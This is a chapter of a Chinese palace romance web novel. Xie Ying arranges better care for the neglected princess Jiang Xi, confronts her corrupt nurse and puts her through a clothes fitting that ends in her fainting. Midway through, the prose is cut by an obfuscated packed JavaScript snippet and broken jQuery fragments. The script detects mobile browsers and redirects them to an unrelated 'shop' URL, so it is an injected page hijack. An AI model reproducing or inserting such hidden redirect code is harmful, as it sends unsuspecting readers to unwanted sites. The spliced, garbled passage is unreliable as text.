5. 第 5 章

作品:《异人观察手册

    谢缨臭着脸放下了姜夕。


    兰妃忍着笑,让宫女带着姜夕去沐浴更衣,真是难得看见二郎吃瘪的模样。


    姜夕很乖,宫女牵起她的手的时候没有任何反抗。


    谢缨忽然有些吃味,真是个小傻子,随便一个人就能将她拐走。


    挥退了大部分的宫人之后,兰贵妃脸上的笑容也真切了一些,问了问将军府的近况,得到一句‘一切安好’才放下心来。


    “祖父年事已高,父亲也一身沉疴,只希望日后不要再打仗了……”兰贵妃已经很久没见过父兄了。


    将军府的男丁常年镇守塞外,没有传诏不得私离驻地,更何况是进京。因此,即便是过年,她也见不到父兄一面。


    “天下太平,无内忧外患之时,就是姐姐心愿达成之时。”谢缨接过兰贵妃递过来的浓茶,一饮而尽。


    只是这时,她们二人都不知道,一旦四海升平,无敌进犯之时,对于掌管兵权的世家来说,会是何等的灾难。


    “不聊这些伤心事。”兰贵妃用帕子不着痕迹地捻了捻眼尾,“那孩子呢,我很少见二郎与世家子弟上心。”


    “她不一样。”


    兰贵妃了解谢缨的秉性,自然知道他口中的‘不一样’是指什么。


    “那孩子确实可怜,不如我改日向陛下将她讨过来,抚养于膝下,也算有个人说话。”


    “那还不至于姐姐做到这个地步。”谢缨想起娘亲的提点,拒绝了这个十分冒险的提议。


    兰贵妃入宫已有六个年头,可至今无一儿半女……皇帝并非不能人道,只不过如今活下来的子嗣有八个而已,其余的大多数都胎死腹中了,但唯独兰贵妃的肚子没有任何动静。


    谢缨曾经无意中听闻族中长辈猜测,那是帝王不允许自己的子嗣流着将军府的血脉。


    谢缨固然见不得姜夕可怜的模样,但不敢保证将姜夕接来芳菲宫会引来什么变数。私心来说,定然是他的家人更加重要。


    兰贵妃也知道谢缨在顾忌什么,只是温和地笑了笑,便结束了这个话题。其实要帮姜夕并不困难,皇家从来不会刻意难为自己的子嗣,只不过是那些踩低捧高的小鬼在其中作祟,只要自己派人稍微提点两句,让姜夕拥有普通公主的生活水平就足够改善她的境况。


    约莫一炷香过后,一个干干净净,香喷喷的姜夕就被送到了谢缨手里。


    换上了新袄子,用红发带扎了两个小揪揪,直冲天际,看起来竟有几分诡异的萌感。


    谢缨忍着笑摸了摸她的脑门,“还是挺丑的。”


    姜夕:……懒得理你。


    兰贵妃又留姜夕在这里用过午膳,给她打包了晚膳,最后由谢缨将她送回冷宫。


    谢缨牵着洗得干干净净的小人儿回到垃圾堆的时候,诡异地生出一种‘天塌了’的感觉。


    尤其当姜夕终于有了反应,撇开自己的手主动钻入臭烘烘的被褥的时候,天真的塌了。


    他终于明白每次娘亲看见他们父子三人从军营里回来时,那种嫌弃的表情从何而来。


    罢了罢了,条件不允许。


    谢缨:“明日就有人来照顾你了,你……”


    谢缨话锋一转,“别把自己弄得太脏。”


    然后他就看见姜夕把干净的小袄踢到了地上。


    空气仿佛凝固了。


    姜夕慢吞吞地收回脚,她说她不是故意的,信吗?


    小孩子脑子发育未完全,手脚不协调再正常不过,几个小孩子没踢过被子?


    谢缨深吸一口气,眼不见为净,转身离开冷宫。


    ……


    早就等候在宫外的车夫见谢缨出来,驱动马车准备回府。


    谢缨却一把叫住了他,“先拐弯去城南。”


    车夫不明所以,但既然是少爷的命令,那自然得照做。


    等到谢缨忙完回府的时候,时候已经不早了,最要命的是,大哥正在等他。


    谢丰城一身劲装,已经完成长成了少年郎的模样,要比谢缨高出不少,身材精壮即便在寒冬腊月也好像冒着热气。


    “去哪儿了?”谢缨问


    “没去哪儿,陪堂姐多说了一会儿的话。”


    谢丰城掀了掀眼皮,“又去看那位公主了?”


    谢缨立马转口:“大哥你真是消息灵通。”


    谢丰城对这个行事肆意的弟弟完全没有任何办法:“你躲大公主倒是像耗子躲猫一样,对这个六公主倒是屁颠颠得赶上去了,她到底是有什么特别之处,惹得我们的谢二郎如此按捺不住。”


    “没什么特别的。”谢缨实话实说。


    “不信。”


    “真没什么特别的。”谢缨摊手,“只不过是我们从前在边塞最常见的那种……小乞丐而已。”


    “乞丐?”谢丰城自然不信。皇家再不在意自己的子嗣也不至于让人活得像奇怪。


    “她会去偷东西吃,一边跑一边吃,跟谁要抢她一样。”


    “她一顿饭分两天吃,臭了也不丢。”


    “她会把吃不完的饭埋起来,第二天继续。”


    “大哥你说,是不是跟外面的乞丐一样。”


    谢丰城一时之间说不出话来。


    谢缨:“大哥你还记得,当年我第一次随你们去边塞的路上,被流民跟了一路。那时我还不懂事,想把口粮分给他们,却被爹喝止了。”


    “爹说我救不了所有人,若是让他们尝到了甜头,那今儿个我们就走不出这条官道。”


    “直到现在,谢家二郎也救不了所有的乞儿。但起码皇城里面的哪一个,我还可以让她吃饱。”


    谢丰城最后一丝劝解的心思也放下了。


    “你向来有主意。”


    “那我就当多谢大哥夸奖了。”谢缨潇洒地招招手,“我先去找爹了。”


    *


    姜夕一觉醒来,居然发现消失多日的桂嬷嬷回来了。


    按照以往,她总是计较着能多偷懒几日算几日,那么早就回来当差还是头一遭。


    而且这回更加古怪。


    不仅仅是桂嬷嬷还带来了一些新的被褥,布匹更像不要钱一样往宫殿里搬,甚至还有几套做好的成衣。


    姜夕上前拎出来抖开,刚好是她这个年纪小孩儿可以穿的大小。


    姜夕默默地用眼神询问。


    桂嬷嬷难得勤奋地打扫起屋子来,声音是难掩的兴奋:“六公主,你是遇上贵人了。”


    姜夕一听就懂了,有钱能使鬼推磨,能让桂嬷嬷如此大手笔增添新物,那交到她手里的好处费肯定不少。


    到底是谁呢?


    这世界上不会有无缘无故对她好的人,首先排除龙椅上那个狗皇帝,那就只剩下一个人了。


    ——就是那么一个,发了病,无缘无故对她好的人。


    姜夕并不觉得开心,反而隐隐约约有种惹上了大麻烦的感觉。


    果真,预感在第二天成真了。


    饭点,谢缨按时出现。


    桂嬷嬷见到他一点惊讶的神色也没有,反而谄媚地凑上前去:“公子交代的事老奴都办好了,请公子检阅。”


    仅仅半天的时间,这个冷宫可以说是焕然一心,谢缨夸她:“干得不错。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14134443|150026||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    可眼底的神色却是冷了下来,这就说明这老奴是有本事打理好姜夕的衣食起居的,可这么多年却一直置之不理。


    谢缨问过兰妃,当初姜夕生母那件事闹得挺大,虽然皇帝不曾出面,但还是还是派了御医为琳美人接生,而姜夕这个名字也是皇帝所赐,身份也算上了皇家玉蝶。这说明姜夕这位公主可是每个月都有例钱,虽然经过层层剥削之后剩下多少不得而知,但桂嬷嬷能甘愿呆在姜夕身边那么多年不曾离开,除了无法搭上新主子以外,恐怕还有这例钱的原因。


    但很显然,这例钱没有几分是落在它主人头上。


    桂嬷嬷浑然没有察觉谢缨的心思,反而得寸进尺道:“那二公子,老奴家中那件事……”


    “你信不过本公子?”


    “不敢、不敢。”谢缨一身不怒自威的反问,就让桂嬷嬷跪地求饶,“是老奴逾矩了。”


    这一幕落在姜夕眼中可有些吃味。她从来没受过桂嬷嬷那么谄媚的待遇。


    谢缨没有继续追究,他也明白这皇城里头,唯一能名正言顺护着姜夕的也只有这个老仆。他收回了眼神,打发桂嬷嬷去御膳房。


    姜夕眼神平移,追随着桂嬷嬷的离去,心里忽然浮现出不好的念头,谢缨不会是故意打发桂嬷嬷离开,想对自己干坏事吧。


    就为了昨天自己把跳蚤传染到他身上的事。


    但那明明是他伸手过来抱,又不是自己主动往他身上扑,而且……那也不是什么跳蚤。顶多是自己挖土的时候翻出了一些小虫子,又不小心往身上带了。但自己每天睡觉前都会仔细检查,确保没有被带上床。


    实话实说,姜夕一点也不心虚。


    谢缨停在了姜夕面前,那双好看的桃花眼盛满了笑意,“我给你买了很多新衣服。”


    不想听。姜夕看着地面发呆。


    “不要装作听不懂,你又不是真的傻。”


    哦,被看穿了。姜夕内心毫无波澜,继续装聋。


    谢缨从柜子里翻出一套灰扑扑的斗篷,又挑了一件绿深色的皮袍,放在姜夕手里,“换上试试。”


    姜夕难得地皱了皱眉,好恶心的配色,一定很丑。


    一直在暗中观察的谢缨将姜夕的小表情一分不差地收入眼底,笑意更深,就连眼尾那颗妖孽的痣也越发动人心魄。


    谢缨推了推姜夕,催促她。


    姜夕知道,今天是躲不过了,认命地拿着新衣服进了内殿。


    等再次出现的时候,她成功地看见本来笑得张扬的谢缨脸色一下子生硬起来,然后缓缓地皱起了眉头,目光中流露出几分不可置信。


    他飞快地又选了一套,“试试这个。”


    屎黄色加暗红,更丑了。


    姜夕不得已陪谢缨玩起了换装暖暖游戏,尝试到第四套的时候,谢缨的脸色已经完全阴沉下来了。


    姜夕默默地走到他面前,仰起头,似乎有话跟他说。


    谢缨要比姜夕高地多,几乎是她的两倍还要高一些,此时不得不弯下腰配合她。


    “你选的……好丑。”


    致命伤。


    谢缨心口气疼,比在演武台上被老爹打得都要疼。他不明白,怎么在店里的成衣看起来还不错,但放在姜夕身上……就那么不堪入目了?


    谢缨阴恻恻:“继续。”


    在第五套衣服放在姜夕臂弯里的时候,谢缨只瞧见姜夕忽然眼睛一闭,一头往前栽倒。


    没吃饭再加上大量运动,这具破破烂烂的身体毫无征兆地死机了。


    昏迷之前,她似乎听见了谢缨焦急地喊自己的名字。